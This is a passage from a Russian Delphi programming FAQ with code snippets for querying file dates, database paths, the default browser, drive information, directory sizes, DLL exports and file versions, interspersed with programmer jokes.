bSuccess := OpenProcessToken(GetCurrentProcess, TOKEN_QUERY,
hAccessToken);
end;
if bSuccess then
begin
ZeroMemory(@szSid, SizeOf(szSid));
dwBufferLen := SizeOf(szSid);
if ObtainTextSid(hAccessToken, szSid, dwBufferLen) then
Result := szSid;
CloseHandle(hAccessToken);
end;
end;
end.
Как по имени Базы Данных получить ссылку на компоненет TDataBase.
Автор: Max Rezanov.
var db: TDataBase; begin db := Session.FindDatabase(FDataBaseName); db.StartTransaction; |
Универсальная функция возврата значения элемента даты.
Автор: Галимарзанов Фанис.
Универсальная функция возврата значения элемента даты (год, месяц, день, квартал):
function RetDate(inDate: TDateTime; inTip: integer): integer;
var
xYear, xMonth, xDay: word;
begin
Result := 0;
DecodeDate(inDate, xYear, xMonth, xDay);
case inTip of
1: Result := xYear; // год
2: Result := xMonth; // месяц
3: Result := xDay; // день
4: if xMonth < 4 then
Result := 1
else // квартал
if xMonth < 7 then
Result := 2
else
if xMonth < 10 then
Result := 3
else
Result := 4;
end;
end;
|
Как выяснить дату последнего изменения файла.
function GetFileDate(FileName: string): string;
var
FHandle: Integer;
begin
FHandle := FileOpen(FileName, 0);
try
Result := DateTimeToStr(FileDateToDateTime(FileGetDate(FHandle)));
finally
FileClose(FHandle);
end;
end;
|
Как получить дату и время создания файла в виде TDateTime.
Чтобы получить дату и время файла, необходимо вызвать функцию FileAge и преобразовать полученное значение при помощи функции FileDateToDateTime в значение TDateTime:
function GetFileDateTime(FileName: string): TDateTime;
var
intFileAge: LongInt;
begin
intFileAge := FileAge(FileName);
if intFileAge = -1 then
Result := 0
else
Result := FileDateToDateTime(intFileAge)
end;
|
Как определить день недели.
| Все люди встретили новый век в этот новый год, а программисты встретят его в 2048 году.... т.к. по мнению программистов в 1 веке не 1000 лет, а 1024. |
procedure TForm1.Button1Click(Sender: TObject);
var
d: TDateTime;
begin
d := StrToDate(Edit1.Text);
ShowMessage(FormatDateTime('dddd',d));
end;
|
Как узнать путь базы данных и её имя.
Делается это при помощи dbiGetDatabaseDesc:
uses
BDE;
procedure ShowDatabaseDesc(DBName: string);
const
DescStr = 'Driver Name: %s'#13#10'AliasName: %s'#13#10 +
'Text: %s'#13#10'Physical Name/Path: %s';
var
dbDes: DBDesc;
begin
dbiGetDatabaseDesc(PChar(DBName), @dbDes);
with dbDes do
ShowMessage(Format(DescStr, [szDbType, szName, szText, szPhyName]));
end;
|
Узнать физическое расположение локальной БД по Alias.
По Table(Query).Database:
uses
DbiProcs;
function GetDirByDatabase(Database: TDatabase): string;
var
pszDir: PChar;
begin
pszDir := StrAlloc(255);
try
DbiGetDirectory(Database.Handle, True, pszDir);
Result := StrPas(pszDir);
finally
StrDispose(pszDir);
end;
end;
|
function GetPhNameByAlias(sAlias: string): string;
var
Database: TDatabase;
pszDir: PChar;
begin
Database := TDatabase.Create(nil); {allocate memory}
pszDir := StrAlloc(255);
try
Database.AliasName := sAlias;
Database.DatabaseName := 'TEMP'; {requires a name -- is ignored}
Database.Connected := True; {connect without opening any table}
DbiGetDirectory(Database.Handle, True, pszDir); {get the dir.}
Database.Connected := False; {disconnect}
Result := StrPas(pszDir); {convert to a string}
finally
Database.Free; {free memory}
end;
end;
|
Определение типа базы данных.
Автор: OAmiry (Borland)"Могу ли я при помощи объекта Tdatabase узнать с каким типом базы данных он связан?".
{uses должен включать в себя db, dbitypes, dbiprocs }
procedure TForm1.FormCreate(Sender: TObject);
var
rDB: DBDesc ;
begin
{ Первый аргумент DbiGetDatabaseDesc - имя псевдонима базы данных типа PChar }
Check(DbiGetDatabaseDesc('IBLOCAL', @rDB)) ;
{ член szDbType структуры DBDesc содержит информацию о типе
базы данных и имеет тип PChar }
ShowMessage( 'Database имеет тип: ' + StrPas(rDB.szDbType) ) ;
{ Совет: Если вам просто необходимо узнать -
SQL server это или нет, используйте свойсто TDatabase
IsSQLBased }
end;
|
Получение DC элемента управления.
{Bitmap в TImage}
HDC:=Image1.PICTURE.bitmap.canvas.handle;
|
DC - что-нибудь с Canvas.handle.
Как узнать Browser по умолчанию.
Автор: http://www.swissdelphicenter.ch
{
First we create a temporary file and call the
function FindExecutable to get the associated Application.
}
function GetAppName(Doc: string): string;
var
FN, DN, RES: array[0..255] of char;
begin
StrPCopy(FN, DOC);
DN[0] := #0;
RES[0] := #0;
FindExecutable(FN, DN, RES);
Result := StrPas(RES);
end;
function GetTempFile(const Extension: string): string;
var
Buffer: array[0..MAX_PATH] of char;
aFile: string;
begin
GetTempPath(SizeOf(Buffer) - 1, Buffer);
GetTempFileName(Buffer, 'TMP', 0, Buffer);
SetString(aFile, Buffer, StrLen(Buffer));
Result := ChangeFileExt(aFile, Extension);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
f: System.Text;
temp: string;
begin
// get a unique temporary file name
// eine eindeutige Temporare Datei bekommen
temp := GetTempFile('.htm');
// Create the file
// Datei erstellen
AssignFile(f, temp);
rewrite(f);
closefile(f);
// Show the path to the browser
// Pfad + Programmname zum Browser anzeigen.
ShowMessage(GetAppName(temp));
// Finally delete the temporary file
// Temporaare Datei wieder loschen
Erase(f);
end;
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
//Using the Registry:
//************************************************
uses
Registry;
procedure TForm1.Button1Click(Sender: TObject);
var
Reg: TRegistry;
KeyName: string;
ValueStr: string;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CLASSES_ROOT;
KeyName := 'htmlfile\shell\open\command';
if Reg.OpenKey(KeyName, False) then
begin
ValueStr := Reg.ReadString('');
Reg.CloseKey;
ShowMessage(ValueStr);
end
else
ShowMessage('There is nоt a default browser');
finally
Reg.Free;
end;
end;
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
//************************************************
{Copyright (c) by Code Central}
type
TBrowserInformation = record
Name: string;
Path: string;
Version: string;
end;
function LongPathName(ShortPathName: string): string;
var
PIDL: PItemIDList;
Desktop: IShellFolder;
WidePathName: WideString;
AnsiPathName: AnsiString;
begin
Result := ShortPathName;
if Succeeded(SHGetDesktopFolder(Desktop)) then
begin
WidePathName := ShortPathName;
if Succeeded(Desktop.ParseDisplayName(0, nil, PWideChar(WidePathName),
ULONG(nil^), PIDL, ULONG(nil^))) then
try
SetLength(AnsiPathName, MAX_PATH);
SHGetPathFromIDList(PIDL, PChar(AnsiPathName));
Result := PChar(AnsiPathName);
finally
CoTaskMemFree(PIDL);
end;
end;
end;
function GetDefaultBrowser: TBrowserInformation;
var
tmp: PChar;
res: LPTSTR;
Version: Pointer;
VersionInformation: Pointer;
VersionInformationSize: Integer;
Dummy: DWORD;
begin
tmp := StrAlloc(255);
res := StrAlloc(255);
Version := nil;
try
GetTempPath(255, tmp);
if FileCreate(tmp + 'htmpl.htm') <> -1 then
begin
if FindExecutable('htmpl.htm', tmp, res) > 32 then
begin
Result.Name := ExtractFileName(res);
Result.Path := LongPathName(ExtractFilePath(res));
// Try to determine the Browser Version
VersionInformationSize := GetFileVersionInfoSize(Res, Dummy);
if VersionInformationSize > 0 then
begin
GetMem(VersionInformation, VersionInformationSize);
GetFileVersionInfo(Res, 0, VersionInformationSize,
VersionInformation);
VerQueryValue(VersionInformation,
('StringFileInfo040904E4ProductVersion'),
Pointer(Version), Dummy);
if Version <> nil then
Result.Version := PChar(Version);
FreeMem(VersionInformation);
end;
end
else
ShowMessage('Cannot determine the executable.');
SysUtils.DeleteFile(tmp + 'htmpl.htm');
end
else
ShowMessage('Cannot create temporary file.');
finally
StrDispose(tmp);
StrDispose(res);
end;
end;
Как узнать путь к браузеру по умолчанию.
Автор: http://www.swissdelphicenter.ch
uses
Registry;
{....}
procedure TForm1.Button1Click(Sender: TObject);
var
Reg: TRegistry;
KeyName: string;
ValueStr: string;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CLASSES_ROOT;
KeyName := 'htmlfile\shell\open\command';
if Reg.OpenKey(KeyName, False) then
begin
ValueStr := Reg.ReadString('');
Reg.CloseKey;
Label1.Caption := ValueStr;
end
else
ShowMessage('No Default Webbrowser !');
finally
Reg.Free;
end;
end;
Получить установленный по умолчанию Screen Saver.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
Inifiles, ShellApi;
procedure TForm1.Button1Click(Sender: TObject);
var
Ini: TInifile;
ScreenSaverFile: string;
function GetLongFileName(const FileName: string): string;
var
aInfo: TSHFileInfo;
begin
if SHGetFileInfo(PChar(FileName), 0, aInfo, SizeOf(aInfo), SHGFI_DISPLAYNAME) <> 0 then
Result := string(aInfo.szDisplayName)
else
Result := FileName;
end;
begin
Ini := TInifile.Create('system.ini');
ScreenSaverFile := GetLongFileName(Ini.Readstring('boot', 'SCRNSAVE.EXE', 'Not Available'));
Ini.Free;
label1.Caption := ScreenSaverFile;
end;
Как во время компиляции модуля определить, под какой версией Delphi она происходит.

| Вечный вопрос: - Что было раньше: компилятор или исходники компилятора? |
Используйте.
{$IFDEF VERXXX}
...
{$ELSE}
...
{$ENDIF}
|
* VER80 -- Delphi 1
* VER90 -- Delphi 2
* VER93 -- C++Builder 1
* VER100 -- Delphi 3
* VER110 -- C++Builder 3
* VER120 -- Delphi 4
* VER130 -- Delphi 5
Как получить имя папки рабочего стола (не через registry).
Автор: Nomadic Просто очень хочется поработать с shell functions.В этом примере делается и это.
procedure TForm1.Button1Click(Sender: TObject);
procedure madd(s: string);
begin
memo1.lines.add(s);
end;
var
ppmalloc: imalloc;
id: ishellfolder;
pi: pitemidlist;
lpname: tstrret;
begin
if succeeded(shgetspecialfolderlocation(0, CSIDL_PROGRAMS, pi)) then
begin
madd('Succeeded programs location');
if succeeded(shgetdesktopfolder(id)) then
begin
madd('Succeeded get desktop folder');
if succeeded(id.getdisplaynameof(pi, 0, lpname)) then
begin
madd('Succeeded get display name');
if lpname.uType = 2 then
begin
madd(lpname.cstr);
end;
end
else
madd('UnSucceeded get display name');
end
else
madd('UnSucceeded get desktop folder');
end
else
madd('UNSucceeded programs location');
end;
|
Как взять Handle рабочего стола для манипуляций с иконками рабочего стола.
| Девушка приходит к психологу. - На что жалуетесь? - Да вот доктор, депрессия, все надоело, мужики козлы, подруги стервы. - Я думаю, вам нужно обновить свою жизнь, - сделать стрижку, переставить мебель в комнате. - Все перепробовала, уж и не знаю, что еще сделать. - Хм... О ! Попробуйте переставить иконки на своем рабочем столе... |
Рабочий стол перекрыт сверху компонентом ListView. Вам просто необходимо взять хэндл этого органа управления. Пример:
function GetDesktopListViewHandle: THandle;
var
S: string;
begin
Result := FindWindow('ProgMan', nil);
Result := GetWindow(Result, GW_CHILD);
Result := GetWindow(Result, GW_CHILD);
SetLength(S, 40);
GetClassName(Result, PChar(S), 39);
if PChar(S) <> 'SysListView32' then
Result := 0;
end;
|
После того, как Вы взяли тот хэндл, Вы можете использовать API этого ListView, определенный в модуле CommCtrl, для того, чтобы манипулировать рабочим столом. Смотрите тему "LVM_xxxx messages" в оперативной справке по Win32.
К примеру, следующая строка кода:
SendMessage(GetDesktopListViewHandle, LVM_ALIGN, LVA_ALIGNLEFT, 0); |
Разместит иконки рабочего стола по левой стороне рабочего стола Windows.
Получение даты создания каталога.
Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение даты создания каталога
Функция определяет дату и время создания каталога и возвращает результат в формате TDateTime.
См. также: http://delphibase.endimus.com/?action=viewfunc&topic=fileattr&id=10497
Зависимости: Windows
Автор: Dimka Maslov, mainbox@endimus.com, ICQ:148442121, Санкт-Петербург
Copyright: Dimka Maslov
Дата: 4 февраля 2004 г.
***************************************************** }
function GetDirTime(const Dir: string): TDateTime;
var
H: Integer;
F: TFileTime;
S: TSystemTime;
begin
H := CreateFile(PChar(Dir), $0080, 0, nil, OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS, 0);
if H <> -1 then
begin
GetFileTime(H, @F, nil, nil);
FileTimeToLocalFileTime(F, F);
FileTimeToSystemTime(F, S);
Result := SystemTimeToDateTime(S);
CloseHandle(H);
end
else
Result := -1;
end;
Пример использования:
ShowMessage(DateTimeToStr(GetDirTime('c:\Program Files')));
Вывести все файлы директории.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure ListFileDir(Path: string; FileList: TStrings);
var
SR: TSearchRec;
begin
if FindFirst(Path + '*.*', faAnyFile, SR) = 0 then
begin
repeat
if (SR.Attr <> faDirectory) then
begin
FileList.Add(SR.Name);
end;
until FindNext(SR) <> 0;
FindClose(SR);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ListFileDir('C:\WINDOWS\', ListBox1.Items);
end;
Вычисление размера каталога.
uses FileCtrl;
function DirSize(Dir: string): integer;
var
SearchRec: TSearchRec;
Separator: string;
DirBytes: integer;
begin
Result:=-1;
if Copy(Dir,Length(Dir),1)='\' then
Separator := ''
else
Separator := '\';
if FindFirst(Dir+Separator+'*.*',faAnyFile,SearchRec) = 0 then
begin
if FileExists(Dir+Separator+SearchRec.name) then
DirBytes := DirBytes + SearchRec.Size
else
if DirectoryExists(Dir+Separator+SearchRec.name) then
begin
if (SearchRec.name<>'.') and (SearchRec.name<>'..') then
DirSize(Dir+Separator+SearchRec.name);
end;
while FindNext(SearchRec) = 0 do
begin
if FileExists(Dir+Separator+SearchRec.name) then
DirBytes := DirBytes + SearchRec.Size
else
if DirectoryExists(Dir+Separator+SearchRec.name) then
begin
if (SearchRec.name<>'.') and (SearchRec.name<>'..') then
DirSize(Dir+Separator+SearchRec.name);
end;
end;
end;
FindClose(SearchRec);
Result:=DirBytes;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
DirBytes: integer;
begin
DirBytes := DirSize('c:\windows');
Form1.Label1.Caption := IntToStr(DirBytes);
end;
|
Как подсчитать занимаемое директорией место.
Источник: http://www.proext.com
var
DirBytes: integer;
function TFileBrowser.DirSize(Dir: string): integer;
var
SearchRec: TSearchRec;
Separator: string;
begin
if Copy(Dir, Length(Dir), 1) = '\' then Separator := ''
else Separator := '\';
if FindFirst(Dir + Separator + '*.*', faAnyFile, SearchRec) = 0 then begin
if FileExists(Dir + Separator + SearchRec.Name) then begin
DirBytes := DirBytes + SearchRec.Size;
{Memo1.Lines.Add(Dir+Separator+SearchRec.Name);}
end
else
if DirectoryExists(Dir + Separator + SearchRec.Name) then begin
if (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then
DirSize(Dir + Separator + SearchRec.Name);
end;
while FindNext(SearchRec) = 0 do begin
if FileExists(Dir + Separator + SearchRec.Name) then begin
DirBytes := DirBytes + SearchRec.Size;
{Memo1.Lines.Add(Dir+Separator+SearchRec.Name);}
end
else
if DirectoryExists(Dir + Separator + SearchRec.Name) then begin
if (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then begin
DirSize(Dir + Separator + SearchRec.Name);
end;
end;
end;
end;
FindClose(SearchRec);
end;
|
Определение суммарного размера файлов в папке, включая вложенные.
Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Определение суммарного размера файлов в папке, включая вложенные
Процедура и функция для определения суммарноо размера файлов в папке с учётом вложенных папок.
Первая процедура вычисляет размер файлов сканируя указанную т вложенные папки.
Имеется возможность определения промежуточного результата при помощи функции
обратного вызова (callback function).
Аргументы процедуры:
Dir - папка, в которой необходимо вычислить размер файлов
IncludeSubDirs - логическая переменная, определяющая необходимость сканирования вложеныых папок
Result - переменная типа Int64, в которую записывается результат.
Перед передачей в процедуру значение переменной должно быть обнулено.
CallbackProc - адрес процедуры обратного вызова, имеющий тип TGetDirSizeCallbackProc -
процедура, принимающая два параметра: определяемое пользователем число типа Integer
и размер файлов, определённый на момент вызова процедуры.
CallbackTag - определяемое пользователм число, передаваемое в процедуру обратного вызова.
Применение последних двух примеров см. Пример использования.
Вторая функция просто возвращает размер файлов, принимая только два параметра Dir и IncludeSubDirs
Зависимости: SysUtils
Автор: Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright: Dimka Maslov
Дата: 13 сентября 2002 г.
***************************************************** }
type
TGetDirSizeCallback = procedure(Tag: Integer; CurrentSize: Int64);
procedure GetDirSize(Dir: string; IncludeSubDirs: Boolean; var Result: Int64;
CallbackProc: TGetDirSizeCallback = nil; CallbackTag: Integer = 0); overload;
var
SearchRec: TSearchRec;
FindResult: Integer;
begin
Dir := IncludeTrailingBackslash(Dir);
FindResult := FindFirst(Dir + '*.*', faAnyFile, SearchRec);
try
while FindResult = 0 do
with SearchRec do
begin
if (Attr and faDirectory) <> 0 then
begin
if IncludeSubDirs and (Name <> '.') and (Name <> '..') then
GetDirSize(Dir + Name, IncludeSubDirs, Result, CallbackProc,
CallbackTag);
end
else
begin
Result := Result + Cardinal(Size);
if Assigned(CallbackProc) then
CallbackProc(CallbackTag, Result);
end;
FindResult := FindNext(SearchRec);
end;
finally
FindClose(SearchRec);
end;
end;
function GetDirSize(Dir: string; IncludeSubDirs: Boolean = True): Int64;
overload;
begin
GetDirSize(Dir, IncludeSubDirs, Result, nil, 0);
end;
Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
var
S: Int64;
begin
S := 0;
GetDirSize('с:\WINDOWS', True, S, @TForm1.GetDirCallback, Integer(Self));
Label1.Caption := IntToStr(S);
end;
procedure TForm1.GetDirCallback(CurrentSize: Int64);
begin
Label1.Caption := IntToStr(CurrentSize);
Label1.Repaint;
end;
Процедура вычисления размера каталога.
Автор: Panov WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Процедура вычисления размера каталога
Вычисляет размер файлов в каталоге и подкаталогах,
использую функции FindFirst/FindNext/FindClose
Зависимости: Masks;
Автор: panov, panov@hotbox.ru
Copyright: Нет
Дата: 30 марта 2004 г.
***************************************************** }
procedure GetDirSize(const aPath: string; var SizeDir: Int64);
var
SR: TSearchRec;
tPath: string;
begin
tPath := IncludeTrailingBackSlash(aPath);
if FindFirst(tPath + '*.*', faAnyFile, SR) = 0 then
begin
try
repeat
if (SR.Name = '.') or (SR.Name = '..') then
Continue;
if (SR.Attr and faDirectory) <> 0 then
begin
GetDirSize(tPath + SR.Name, SizeDir);
Continue;
end;
SizeDir := SizeDir +
(SR.FindData.nFileSizeHigh shl 32) +
SR.FindData.nFileSizeLow;
until FindNext(SR) <> 0;
finally
Sysutils.FindClose(SR);
end;
end;
end;
Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
var
SizeDir: Int64;
begin
SizeDir := 0;
GetDirSize('c:\winnt', SizeDir);
ShowMessage('Размер каталога ' + IntToStr(SizeDir));
end;
Как определить размер свободного места на диске.
Для получения размера свободного места на дисках, ёмкость которых больше 2Гб, необходимо использовать функцию GetDiskFreeSpaceEx. Ниже приведён небольшой пример использования данной функции:
var
FreeBytesAvailableToCaller: TLargeInteger;
FreeSize: TLargeInteger;
TotalSize: TLargeInteger;
begin
GetDiskFreeSpaceEx('c:',
FreeBytesAvailableToCaller,
Totalsize,
@FreeSize);
end;
|
Результатом будет значение в байтах.
Получение идентификатора диска.
| Автор: Vasili Pincuk |
| Только что прошло сообщение по компьютерным сетям!!! Внимание!!!! Предупреждение!!! Новый вирус "Виагра"! Превращает ваш трех-с-половиной дюймовый флоппи в ХАРД-драйв!!! |
Как получить идентификатор находящегося в CD-RОМ'е аудио-компакта?
const
MCI_INFO_PRODUCT = $00000100;
MCI_INFO_FILE = $00000200;
MCI_INFO_MEDIA_UPC = $00000400;
MCI_INFO_MEDIA_IDENTITY = $00000800;
MCI_INFO_NAME = $00001000;
MCI_INFO_COPYRIGHT = $00002000;
{ блок параметров для командного сообщения MCI_INFO }
type
PMCI_Info_ParmsA = ^TMCI_Info_ParmsA;
PMCI_Info_ParmsW = ^TMCI_Info_ParmsW;
PMCI_Info_Parms = PMCI_Info_ParmsA;
TMCI_Info_ParmsA = record
dwCallback: DWORD;
lpstrReturn: PAnsiChar;
dwRetSize: DWORD;
end;
TMCI_Info_ParmsW = record
dwCallback: DWORD;
lpstrReturn: PWideChar;
dwRetSize: DWORD;
end;
TMCI_Info_Parms = TMCI_Info_ParmsA;
|
Исправления.
// метка диска
procedure GetDriveInfo(VolumeName: string;
var VolumeLabel, SerialNumber, FileSystem: string);
var
VolLabel, FileSysName: array[0..255] of char;
SerNum: pdword;
MaxCompLen, FileSysFlags: dword;
begin
New(SerNum);
GetVolumeInformation(PChar(VolumeName), VolLabel,
255, SerNum, MaxCompLen, FileSysFlags, FileSysName, 255);
VolumeLabel := VolLabel;
SerialNumber := Format('%x', [SerNum^]);
FileSystem := FileSysName;
Dispose(SerNum);
end;
// далее
var
VolLabel, SN, FileSystem, S: string;
begin
s := 'g:\'; // имя CD дисковода
GetDriveInfo(S, VolLabel, SN, FileSystem);
|
VolLabel - 'ARMSTRONG' // метка диска SN - B5FF77AD // номер серийный FileSystem - CDFS // тип файловой системы
Работает не только для CD для всех типов дисков ... Далее:
// метка диска
procedure GetAllDrive(Sender: TObject);
var
i, mask: integer;
s: string;
begin
mask := GetLogicalDrives;
i := 0;
while mask <> 0 do
begin
s := chr(ord('a') + i) + ':\';
if (mask and 1) <> 0 then
case GetDriveType(PChar(s)) of
0: ListBox1.Items.Add(s + ' unknown.');
1: ListBox1.Items.Add(s + ' not exist.');
DRIVE_REMOVABLE: ListBox1.Items.Add(s + ' removable.'); // floppy,zip
DRIVE_FIXED: ListBox1.Items.Add(s + ' fixed.');
DRIVE_REMOTE: ListBox1.Items.Add(s + ' network.');
DRIVE_CDROM: ListBox1.Items.Add(s + ' CD-ROM.');
DRIVE_RAMDISK: ListBox1.Items.Add(s + ' RAM.');
end;
inc(i);
mask := mask shr 1;
end;
end;
|
Whith best regards Vasili Pincuk ICQ 10558844 http://www.geocities.com/pvasili E-mail: pvasili@geocities.com.
Получение информации о диске.
| Два компьютершика спорят: - Можно ли научить "комп" заикаться? - Да ты что никогда! Второй: - Берет магнит и начинает водить возле винчестера! В итоге получается песня Расторгуева+Леонидов: "Давай за баранку держись, давай брат шофер до конца"... |
function GetVolumeInfoFVS(const Dir:string;
var FileSystemName,VolumeName:string;var Serial:longint):boolean;
{Получение информации о диске
Dir - каталог или буква требуемого диска
FileSystemName - название файловой системы
VolumeName - метка диска
Serial - серийный номер диска
В случае ошибки функция возвращает false}
var
root:pchar;
res:longbool;
VolumeNameBuffer,FileSystemNameBuffer:pchar;
VolumeNameSize,FileSystemNameSize:DWord;
VolumeSerialNumber,MaximumComponentLength,FileSystemFlags:DWORD;
s:string;
n:integer;
begin
n:=pos(':',Dir);
if n> 0 then s:=copy(Dir,1,n+1) else s:=s+':';
if s[length(s)]=':' then s:=s+'\';
root:=pchar(s);
getMem(VolumeNameBuffer,256);
getMem(FileSystemNameBuffer,256);
VolumeNameSize:=255;
FileSystemNameSize:=255;
res:=GetVolumeInformation(Root,VolumeNameBuffer,VolumeNameSize
,@VolumeSerialNumber,
MaximumComponentLength, FileSystemFlags
,FileSystemNameBuffer,FileSystemNameSize);
Result:=res;
VolumeName:=VolumeNameBuffer;
FileSystemName:=FileSystemNameBuffer;
Serial:=VolumeSerialNumber;
freeMem(VolumeNameBuffer,256);
freeMem(FileSystemNameBuffer,256);
end;
|
Получить список дисков.
| Приходит сантехник(С) к программисту(П) ремонтировать засорившуюся раковину. C. начинает ковыряться в отстойнике... С.- А у вас тут из сети все на винт падает...вот и забило.. П.- Надо винт больше ставить? С.- Нет, винт надо вообще спилить к #$%^&й матери. |
Компонент, выводящий список дисков уже существует – TDriveComboBox, но он не всегда удобен. Я привожу пример программы, выводящей список дисков в двух разных видах.
procedure TForm1.Button1Click(Sender: TObject);
var
i, j: integer;
buf: array [0..499] of char;
DrvStr: array [0..9] of char;
LogDrives: set of 0..25;
begin
integer(LogDrives) := GetLogicalDrives;
for i := 0 to 25 do
if (i in LogDrives) then
ListBox1.Items.Add(chr(i + 65));
GetLogicalDriveStrings(1000, buf);
i := 0;
repeat
FillChar(DrvStr, SizeOf(DrvStr), #0);
j := 0;
repeat
DrvStr[j] := buf[i];
inc(j);
inc(i);
until
(buf[i] = #0) or (j > 9);
inc(i);
ListBox2.Items.Add(DrvStr);
until
((buf[i-1] = #0) and (buf[i] = #0)) or (i > 499);
end;
|
Определить тип дискового накопителя.
| Объявление в Интернете: Куплю винчестер. Жёсткие диски не предлагать! |
Нужно воспользоваться API функцией GetDriveType():
procedure TForm1.Button1Click(Sender: TObject);
begin
case GetDriveType('C:\') of
0: ShowMessage('The drive type cannot be determined');
1: ShowMessage('The root directory does not exist');
DRIVE_REMOVABLE: ShowMessage('The disk can be removed');
DRIVE_FIXED: ShowMessage('The disk cannot be removed');
DRIVE_REMOTE: ShowMessage('The drive is remote (network) drive');
DRIVE_CDROM: ShowMessage('The drive is a CD-ROM drive');
DRIVE_RAMDISK: ShowMessage('The drive is a RAM disk');
end;
end;
|
Получение списка экспорта dll.
Автор: Mystic WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение списка экспорта dll
Функция GetImageFunctionList возвращает список всех экспортируемых функций dll
FileName - имя dll
Strings - объетк, в который будут занесен список экспорта.
ВАЖНО! Тестировано только под NT4
Зависимости: Windows, ImageHlp
Автор: Mystic, mystic2000@newmail.ru, ICQ:125905046, Харьков
Copyright: Mystic
Дата: 21 апреля 2002 г.
***************************************************** }
function EnumSymbols(SymbolName: PChar; SymbolAddress, SymbolSize: ULONG;
Strings: Pointer): Bool; stdcall;
begin
TStrings(Strings).Add(SymbolName);
Result := True;
end;
function GetImageFunctionList(const FileName: string; Strings: TStrings):
Boolean;
var
Handle: THandle;
hProcess: THandle;
VersionInfo: TOSVersionInfo;
begin
Strings.Clear;
Result := False;
SymSetOptions(SYMOPT_UNDNAME or SYMOPT_DEFERRED_LOADS);
VersionInfo.dwOSVersionInfoSize := SizeOf(VersionInfo);
if not GetVersionEx(VersionInfo) then
Exit;
if VersionInfo.dwPlatformId = VER_PLATFORM_WIN32_WINDOWS then
hProcess := GetCurrentProcessId
else
hProcess := GetCurrentProcess;
if not SymInitialize(hProcess, nil, True) then
Exit;
try
Handle := LoadLibrary(PChar(FileName));
if Handle = 0 then
Exit;
try
if not SymLoadModule(hProcess, 0, PChar(FileName), nil, Handle, 0) then
Exit;
try
if not SymEnumerateSymbols(hProcess, Handle, EnumSymbols, Strings) then
Exit;
finally
SymUnloadModule(hProcess, Handle);
end;
finally
FreeLibrary(Handle);
end;
finally
SymCleanup(hProcess);
end;
Result := True;
end;
Пример использования:
if not GetImageFunctionList('kernel32.dll', ListBox1.Items) then
raise Exception.Create('Произошла ошибка');
Как из DLL узнать узнать полный путь к этой DLL.
function GetModuleFileNameStr(Instance: THandle): string; var buffer: array [0..MAX_PATH] of Char; begin GetModuleFileName( Instance, buffer, MAX_PATH); Result := buffer; end; GetModuleFileNameStr(Hinstance); // dll name GetModuleFileNameStr(0); // exe name |
Как получить версию моей DLL.
| Приходит мужик в поликлинику - жаловаться на мужские проблемы, а там вместо врача - компьютер. Ну, он изложил суть проблем оператору, тот говорит: - Вставьте член в отверстие сбоку. Мужик вставил. Комп погудел-погудел да и выдал: "Your Version Expired". |
procedure GetFileVersion(FileName: string; var Major1, Major2,
Minor1, Minor2: Integer);
var
Info: Pointer;
InfoSize: DWORD;
FileInfo: PVSFixedFileInfo;
FileInfoSize: DWORD;
Tmp: DWORD;
begin
InfoSize := GetFileVersionInfoSize(PChar(FileName), Tmp);
if InfoSize = 0 then
//Файл не содержит информации о версии
else
begin
GetMem(Info, InfoSize);
try
GetFileVersionInfo(PChar(FileName), 0, InfoSize, Info);
VerQueryValue(Info, '\', Pointer(FileInfo), FileInfoSize);
Major1 := FileInfo.dwFileVersionMS shr 16;
Major2 := FileInfo.dwFileVersionMS and $FFFF;
Minor1 := FileInfo.dwFileVersionLS shr 16;
Minor2 := FileInfo.dwFileVersionLS and $FFFF;
finally
FreeMem(Info, FileInfoSize);
end;
end;
end;
|
Как узнать автора файла документа.
Автор: AsmithВот простой пример, подробности в MSDN:
uses ActiveX, ComObj, SysUtils;
function GetSummaryInfAuthor(FileName: TFileName): string;
var
PFileName: PWideChar;
Storage: IStorage;
PropSetStg: IPropertySetStorage;
PropStg: IPropertyStorage;
ps: PROPSPEC;
pv: PROPVARIANT;
const
FMTID_SummaryInformation: TGUID = '{F29F85E0-4FF9-1068-AB91-08002B27B3D9}';
begin
PFileName := StringToOleStr(FileName);
try
// Open compound storage
OleCheck(StgOpenStorage(PFileName, nil,
STGM_DIRECT or STGM_READ or STGM_SHARE_EXCLUSIVE, nil, 0, Storage));
finally
SysFreeString(PFileName);
end;
// Summary information is in a stream under the root storage
PropSetStg := Storage as IPropertySetStorage;
// Get the IPropertyStorage
OleCheck(PropSetStg.Open(FMTID_SummaryInformation,
STGM_DIRECT or STGM_READ or STGM_SHARE_EXCLUSIVE, PropStg));
// We want the author property value
ps.ulKind := PRSPEC_PROPID;
ps.propid := PIDSI_AUTHOR;
// Read this property
PropStg.ReadMultiple(1, @ps, @pv);
Result := pv.pszVal;
end;
|
Как получить доменное имя по IP.
| Спрашивает дочка у мамы: - Мам, а кто этот волосатый дядя с красными глазками? - Это твой папа, доченька. - А он что, заболел? - Да нет, он к интернету подключился. |
uses winsock;
function IPAddrToName(IPAddr : string): string;
var
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
WSAData: TWSAData;
begin
WSAStartup($101, WSAData);
SockAddrIn.sin_addr.s_addr:= inet_addr(PChar(IPAddr));
